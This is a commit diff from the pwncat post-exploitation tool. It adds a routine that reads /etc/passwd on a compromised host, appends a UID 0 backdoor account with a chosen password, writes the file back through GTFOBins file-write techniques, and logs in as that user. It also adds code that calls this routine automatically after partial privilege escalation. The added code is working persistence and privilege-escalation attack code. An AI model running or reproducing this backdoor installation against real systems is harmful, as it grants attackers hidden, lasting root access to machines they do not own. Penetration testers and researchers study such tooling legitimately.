1
0
mirror of https://github.com/calebstewart/pwncat.git synced 2024-11-24 01:25:37 +01:00
This commit is contained in:
John Hammond 2020-05-10 01:21:36 -04:00
commit 199d58b546
4 changed files with 89 additions and 10 deletions

View File

@ -5,6 +5,7 @@ import crypt
from pwncat.privesc.base import Method, PrivescError, Technique, SuMethod, Capability
from pwncat.privesc.setuid import SetuidMethod
from pwncat.privesc.sudo import SudoMethod
from pwncat import downloader
from pwncat import gtfobins
from pwncat import util
@ -72,6 +73,56 @@ class Finder:
return techniques
def add_backdoor(self):
""" Add the backdoor user if it doesn't already exist. This is normally
called in order to solidify full UID=0 access (e.g. when SUID binaries
yield a EUID=0 but UID!=0. """
self.pty.reload_users()
if self.backdoor_user_name not in self.pty.users:
binary = gtfobins.Binary.find_capability(self.pty.which, Capability.READ)
if binary is None:
raise PrivescError("no file read methods available from gtfobins")
# Read the etc/passwd file
passwd = self.pty.subprocess(binary.read_file("/etc/passwd"))
data = passwd.read()
passwd.close()
# Split up the file by lines
data = data.decode("utf-8").strip()
data = data.split("\n")
# Add a new user
password = crypt.crypt(self.backdoor_password)
user = self.backdoor_user_name
data.append(f"{user}:{password}:0:0::/root:{self.pty.shell}")
# Prepare data for transmission
data = ("\n".join(data) + "\n").encode("utf-8")
# Find a GTFObins payload that works
binary = gtfobins.Binary.find_capability(self.pty.which, Capability.WRITE)
if binary is None:
raise PrivescError("no file write methods available from gtfobins")
# Write the file
self.pty.run(binary.write_file("/etc/passwd", data))
# Stabilize output after the file write
self.pty.run("echo")
# Reload the /etc/passwd data
self.pty.reload_users()
if self.backdoor_user_name not in self.pty.users:
raise PrivescError("/etc/passwd update failed!")
self.pty.process(f"su {self.backdoor_user_name}", delim=False)
self.pty.client.send(self.backdoor_password.encode("utf-8") + b"\n")
self.pty.run("echo")
def write_file(
self,
filename: str,

View File

@ -123,10 +123,6 @@ class SetuidMethod(Method):
return read_pipe
def write_file(self, filepath: str, data: bytes, technique: Technique):
info(
f"attempting to write {Fore.BLUE}{filepath}{Fore.RESET} with {Fore.RED}{self.get_name(technique)}{Fore.RESET}"
)
binary = technique.ident
payload = binary.write_file(filepath, data)

View File

@ -252,9 +252,6 @@ class SudoMethod(Method):
def read_file(self, filepath: str, technique: Technique) -> RemoteBinaryPipe:
info(
f"attempting to read {Fore.BLUE}{filepath}{Fore.RESET} with {Fore.RED}{self.get_name(technique)}{Fore.RESET}"
)
binary, sudo_spec, password_required = technique.ident
read_payload = binary.read_file(
@ -270,9 +267,6 @@ class SudoMethod(Method):
def write_file(self, filepath: str, data: bytes, technique: Technique):
info(
f"attempting to write {Fore.BLUE}{filepath}{Fore.RESET} with {Fore.RED}{self.get_name(technique)}{Fore.RESET}"
)
binary, sudo_spec, password_required = technique.ident
payload = binary.write_file(
filepath, data, sudo_prefix=f"sudo -u {shlex.quote(technique.user)}"
@ -282,3 +276,19 @@ class SudoMethod(Method):
self.pty.run(
payload, input=functools.partial(self.send_password, self.pty.current_user),
)
def get_name(self, tech: Technique):
""" Get the name of the given technique for display """
return (
(
f"{Fore.GREEN}{tech.user}{Fore.RESET} via "
f"{Fore.CYAN}{tech.ident[0].path}{Fore.RESET} "
f"({Fore.RED}sudo{Fore.RESET}"
)
+ (
""
if tech.ident[2]
else f" {Style.BRIGHT+Fore.RED}NOPASSWD{Style.RESET_ALL}"
)
+ ")"
)

View File

@ -610,10 +610,32 @@ class PtyHandler:
else:
try:
chain = self.privesc.escalate(args.user, args.max_depth)
ident = self.id
backdoor = False
if ident["euid"]["id"] == 0 and ident["uid"]["id"] != 0:
util.progress(
"EUID != UID. installing backdoor to complete privesc"
)
try:
self.privesc.add_backdoor()
backdoor = True
except privesc.PrivescError as exc:
util.warn(f"backdoor installation failed: {exc}")
util.success("privilege escalation succeeded using:")
for i, (technique, _) in enumerate(chain):
arrow = f"{Fore.YELLOW}\u2ba1{Fore.RESET} "
print(f"{(i+1)*' '}{arrow}{technique}")
if backdoor:
print(
(
f"{(len(chain)+1)*' '}{arrow}"
f"{Fore.YELLOW}pwncat{Fore.RESET} backdoor"
)
)
self.reset()
self.do_back([])
except privesc.PrivescError as exc: